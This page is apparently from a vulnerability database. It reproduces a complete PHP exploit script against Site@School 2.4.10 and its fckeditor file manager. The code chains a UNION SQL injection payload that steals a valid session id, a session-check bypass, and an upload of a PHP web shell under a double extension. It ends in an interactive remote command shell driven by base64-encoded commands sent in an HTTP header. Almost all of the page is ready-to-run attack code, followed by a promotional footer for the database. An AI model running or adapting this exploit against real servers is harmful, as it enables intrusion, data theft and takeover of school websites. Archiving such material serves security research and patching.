Lucene search
K

Site@School <= 2.4.10 (fckeditor) Session Hijacking / File Upload Exploit

🗓️ 05 Jul 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

Site@School <= 2.4.10 (fckeditor) Session Hijacking / File Upload Exploit. Exploitable vulnerability in /starnet/editors/fckeditor/editor/filemanager/sas/browser.php allows an attacker to bypass session checks and upload malicious files containing PHP code

Code

                                                &lt;?php

/*
	-------------------------------------------------------------------------
	Site@School&nbsp;&lt;=&nbsp;2.4.10&nbsp;(fckeditor)&nbsp;Session&nbsp;Hijacking&nbsp;/&nbsp;File&nbsp;Upload&nbsp;Exploit
	-------------------------------------------------------------------------
	
	author...:&nbsp;EgiX
	mail.....:&nbsp;n0b0d13s[at]gmail[dot]com
	
	link.....:&nbsp;http://siteatschool.sourceforge.net/
	details..:&nbsp;works&nbsp;with&nbsp;magic_quotes_gpc&nbsp;=&nbsp;off&nbsp;(the&nbsp;bug&nbsp;isn't&nbsp;still&nbsp;patched:&nbsp;http://www.securityfocus.com/bid/27120)
	details..:&nbsp;works&nbsp;only&nbsp;with&nbsp;a&nbsp;specific&nbsp;server&nbsp;configuration&nbsp;(e.g.&nbsp;an&nbsp;Apache&nbsp;server&nbsp;with&nbsp;the&nbsp;mod_mime&nbsp;module&nbsp;installed)
	
	[-]&nbsp;vulnerable&nbsp;code&nbsp;in&nbsp;/starnet/editors/fckeditor/editor/filemanager/sas/browser.php
	
	63.	$query&nbsp;=&nbsp;&quot;SELECT&nbsp;config_value&nbsp;FROM&nbsp;$table_configuration&nbsp;WHERE&nbsp;config_key='sessioncode'&quot;;
	64.	if&nbsp;($result&nbsp;=&nbsp;mysql_query($query))
	65.	{
	66.		$check_sessioncode&nbsp;=&nbsp;mysql_result($result,&nbsp;0);
	67.		unset&nbsp;($query);
	68.		unset&nbsp;($result);
	69.	}
	70.	if&nbsp;($_SESSION['sessioncode']&nbsp;!=&nbsp;$check_sessioncode)
	71.	{
	72.		//if&nbsp;we&nbsp;don't&nbsp;have&nbsp;a&nbsp;session&nbsp;present&nbsp;the&nbsp;login&nbsp;screen
	73.		Header(&quot;Location:&nbsp;../../../../../index.php&quot;);
	74.		exit;
	75.	}
	
	[...]
	
	117.	if&nbsp;($option&nbsp;==&nbsp;&quot;upload&quot;)
	118.	{
	119.		if&nbsp;(IsSet&nbsp;($_FILES[&quot;new_file&quot;][&quot;name&quot;]))
	120.		{
	121.			$file_name&nbsp;=&nbsp;$_FILES[&quot;new_file&quot;][&quot;name&quot;];
	122.		}
	123.		if&nbsp;(IsSet&nbsp;($_SESSION['opendir']))
	124.		{
	125.			$write_path&nbsp;=&nbsp;$_SESSION['user_media_path']&nbsp;.&nbsp;&quot;/&quot;&nbsp;.&nbsp;$_SESSION['opendir'];
	126.			//&nbsp;moveupload&nbsp;the&nbsp;file&nbsp;to&nbsp;$write_path,&nbsp;function&nbsp;is&nbsp;in&nbsp;core/common.inc.php
	127.			$temp_file&nbsp;=&nbsp;$_FILES[&quot;new_file&quot;][&quot;tmp_name&quot;];&nbsp;//this&nbsp;is&nbsp;temporary&nbsp;uploaded&nbsp;file.	
	128.			sas_move_uploaded_file($write_path,&nbsp;$file_name,&nbsp;$temp_file);
	129.		}
	130.		$opendir&nbsp;=&nbsp;$_SESSION['opendir'];&nbsp;//for&nbsp;returning&nbsp;to&nbsp;the&nbsp;directory&nbsp;were&nbsp;we&nbsp;came&nbsp;from	
	131.	}
	
	an&nbsp;attacker&nbsp;could&nbsp;be&nbsp;able&nbsp;to&nbsp;retrieve&nbsp;a&nbsp;valid&nbsp;session&nbsp;id&nbsp;using&nbsp;the&nbsp;SQL&nbsp;injection&nbsp;bug&nbsp;in&nbsp;/starnet/addons/slideshow_full.php
	(http://www.milw0rm.com/exploits/4832)&nbsp;and&nbsp;bypass&nbsp;checks&nbsp;at&nbsp;lines&nbsp;70-75&nbsp;to&nbsp;upload&nbsp;malicious&nbsp;files&nbsp;containing&nbsp;php&nbsp;code!
*/

error_reporting(0);
ini_set(&quot;default_socket_timeout&quot;,5);
set_time_limit(0);

define(STDIN,&nbsp;fopen(&quot;php://stdin&quot;,&nbsp;&quot;r&quot;));

function&nbsp;http_send($host,&nbsp;$packet)
{
	$sock&nbsp;=&nbsp;fsockopen($host,&nbsp;80);
	while&nbsp;(!$sock)
	{
		print&nbsp;&quot;\n[-]&nbsp;No&nbsp;response&nbsp;from&nbsp;{$host}:80&nbsp;Trying&nbsp;again...\n&quot;;
		$sock&nbsp;=&nbsp;fsockopen($host,&nbsp;80);
	}
	fputs($sock,&nbsp;$packet);
	while&nbsp;(!feof($sock))&nbsp;$resp&nbsp;.=&nbsp;fread($sock,&nbsp;1024);
	fclose($sock);
	return&nbsp;$resp;
}

function&nbsp;upload()
{
	global&nbsp;$host,&nbsp;$path,&nbsp;$sid;
	
	$file_ext&nbsp;=&nbsp;array(&quot;.fla&quot;,&nbsp;&quot;.swf&quot;,&nbsp;&quot;.rar&quot;,&nbsp;&quot;.zip&quot;,&nbsp;&quot;.xls&quot;,&nbsp;&quot;.csv&quot;);
	
	$packet&nbsp;&nbsp;=&nbsp;&quot;GET&nbsp;{$path}starnet/editors/fckeditor/editor/filemanager/sas/images.php?opendir=gallery&nbsp;HTTP/1.0\r\n&quot;;
	$packet&nbsp;.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
	$packet&nbsp;.=&nbsp;&quot;Cookie:&nbsp;PHPSESSID={$sid}\r\n&quot;;
	$packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
	
	http_send($host,&nbsp;$packet);
	
	foreach&nbsp;($file_ext&nbsp;as&nbsp;$ext)
	{
		print&nbsp;&quot;\n[-]&nbsp;Trying&nbsp;to&nbsp;upload&nbsp;with&nbsp;{$ext}&nbsp;extension...&quot;;
		
		$payload&nbsp;&nbsp;=&nbsp;&quot;--o0oOo0o\r\n&quot;;
		$payload&nbsp;.=&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;new_file\&quot;;&nbsp;filename=\&quot;test.php{$ext}\&quot;\r\n\r\n&quot;;
		$payload&nbsp;.=&nbsp;&quot;&lt;?php&nbsp;\${error_reporting(0)}.\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}&nbsp;?&gt;\r\n&quot;;
		$payload&nbsp;.=&nbsp;&quot;--o0oOo0o--\r\n&quot;;

		$packet&nbsp;&nbsp;=&nbsp;&quot;POST&nbsp;{$path}starnet/editors/fckeditor/editor/filemanager/sas/browser.php?option=upload&nbsp;HTTP/1.0\r\n&quot;;
		$packet&nbsp;.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
		$packet&nbsp;.=&nbsp;&quot;Cookie:&nbsp;PHPSESSID={$sid}\r\n&quot;;
		$packet&nbsp;.=&nbsp;&quot;Content-Length:&nbsp;&quot;.strlen($payload).&quot;\r\n&quot;;
		$packet&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=o0oOo0o\r\n&quot;;
		$packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
		$packet&nbsp;.=&nbsp;$payload;

		if&nbsp;(preg_match(&quot;/File&nbsp;upload&nbsp;error/i&quot;,&nbsp;http_send($host,&nbsp;$packet)))&nbsp;die(&quot;\n[-]&nbsp;Upload&nbsp;failed!\n&quot;);
		
		$packet&nbsp;&nbsp;=&nbsp;&quot;GET&nbsp;{$path}starnet/media/gallery/test.php{$ext}&nbsp;HTTP/1.0\r\n&quot;;
		$packet&nbsp;.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
		$packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
		$html&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;http_send($host,&nbsp;$packet);
		
		if&nbsp;(!eregi(&quot;print&quot;,&nbsp;$html)&nbsp;and&nbsp;eregi(&quot;_code_&quot;,&nbsp;$html))&nbsp;return&nbsp;$ext;
		
		sleep(1);
	}
	
	return&nbsp;false;
}

function&nbsp;get_sid()
{
	global&nbsp;$host,&nbsp;$path,&nbsp;$prefix;
	
	//&nbsp;thanks&nbsp;to&nbsp;rgod&nbsp;for&nbsp;giving&nbsp;to&nbsp;understand&nbsp;that&nbsp;this&nbsp;isn't&nbsp;blind&nbsp;injetion...r.i.p.&nbsp;my&nbsp;friend!
	$sql&nbsp;=&nbsp;&nbsp;&quot;'/**/UNION/**/SELECT/**/CONCAT(CHAR(0xFF),ses_id,CHAR(0xFF),CHAR(0x27)),1,1/**/&quot;&nbsp;.
		&quot;FROM/**/{$prefix}_sessions/**/WHERE/**/ses_value/**/LIKE/**/'%sessioncode%'%23&quot;;

	$packet&nbsp;&nbsp;=&nbsp;&quot;GET&nbsp;{$path}starnet/addons/slideshow_full.php?album_name={$sql}&nbsp;HTTP/1.0\r\n&quot;;
	$packet&nbsp;.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
	$packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;

	$pieces&nbsp;=&nbsp;explode(chr(0xFF),&nbsp;http_send($host,&nbsp;$packet));
	return&nbsp;$pieces[1];
}

function&nbsp;check_target()
{
	global&nbsp;$host,&nbsp;$path,&nbsp;$prefix;
	
	print&nbsp;&quot;\n[-]&nbsp;Checking&nbsp;{$host}...&quot;;
	
	$packet&nbsp;&nbsp;=&nbsp;&quot;GET&nbsp;{$path}starnet/addons/slideshow_full.php?album_name=%27&nbsp;HTTP/1.0\r\n&quot;;
	$packet&nbsp;.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
	$packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
	
	if&nbsp;(preg_match(&quot;/FROM&nbsp;(.*)_m/&quot;,&nbsp;http_send($host,&nbsp;$packet),&nbsp;$match))&nbsp;print&nbsp;&quot;vulnerable!\n&quot;;
	else&nbsp;die(&quot;not&nbsp;vulnerable!\n\n[-]&nbsp;Exploit&nbsp;failed...probably&nbsp;magic_quotes_gpc&nbsp;=&nbsp;on\n&quot;);
	
	$prefix&nbsp;=&nbsp;$match[1];
}

print&nbsp;&quot;\n+-----------------------------------------------------------------------+&quot;;
print&nbsp;&quot;\n|&nbsp;Site@School&nbsp;&lt;=&nbsp;2.4.10&nbsp;Session&nbsp;Hijacking&nbsp;/&nbsp;File&nbsp;Upload&nbsp;Exploit&nbsp;by&nbsp;EgiX&nbsp;|&quot;;
print&nbsp;&quot;\n+-----------------------------------------------------------------------+\n&quot;;

if&nbsp;($argc&nbsp;&lt;&nbsp;3)
{
	print&nbsp;&quot;\nUsage...:&nbsp;php&nbsp;$argv[0]&nbsp;host&nbsp;path&nbsp;\n&quot;;
	print&nbsp;&quot;\nhost....:&nbsp;target&nbsp;server&nbsp;(ip/hostname)&quot;;
	print&nbsp;&quot;\npath....:&nbsp;path&nbsp;to&nbsp;sas&nbsp;directory\n&quot;;
	die();
}

$host&nbsp;=&nbsp;$argv[1];
$path&nbsp;=&nbsp;$argv[2];

check_target();
$sid&nbsp;=&nbsp;get_sid();

if&nbsp;(empty($sid))&nbsp;die(&quot;\n[-]&nbsp;Session&nbsp;id&nbsp;not&nbsp;found!&nbsp;Try&nbsp;later...\n&quot;);
else&nbsp;print&nbsp;&quot;\n[-]&nbsp;Hijacking&nbsp;with&nbsp;sid&nbsp;{$sid}\n&quot;;

if&nbsp;(!($ext&nbsp;=&nbsp;upload()))&nbsp;die(&quot;\n[-]&nbsp;Exploit&nbsp;failed...\n&quot;);
else&nbsp;print&nbsp;&quot;\n[-]&nbsp;Shell&nbsp;uploaded...starting&nbsp;it!\n&quot;;

while(1)
{
	print&nbsp;&quot;\nsas-shell#&nbsp;&quot;;
	$cmd&nbsp;=&nbsp;trim(fgets(STDIN));
	if&nbsp;($cmd&nbsp;!=&nbsp;&quot;exit&quot;)
	{
		$packet&nbsp;=&nbsp;&quot;GET&nbsp;{$path}starnet/media/gallery/test.php{$ext}&nbsp;HTTP/1.0\r\n&quot;;
		$packet.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
		$packet.=&nbsp;&quot;Cmd:&nbsp;&quot;.base64_encode($cmd).&quot;\r\n&quot;;
		$packet.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
		$output&nbsp;=&nbsp;http_send($host,&nbsp;$packet);
		if&nbsp;(!preg_match(&quot;/_code_/&quot;,&nbsp;$output))&nbsp;die(&quot;\n[-]&nbsp;Exploit&nbsp;failed...\n&quot;);
		$shell&nbsp;&nbsp;=&nbsp;explode(&quot;_code_&quot;,&nbsp;$output);
		print&nbsp;&quot;\n{$shell[1]}&quot;;
	}
	else&nbsp;break;
}

?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation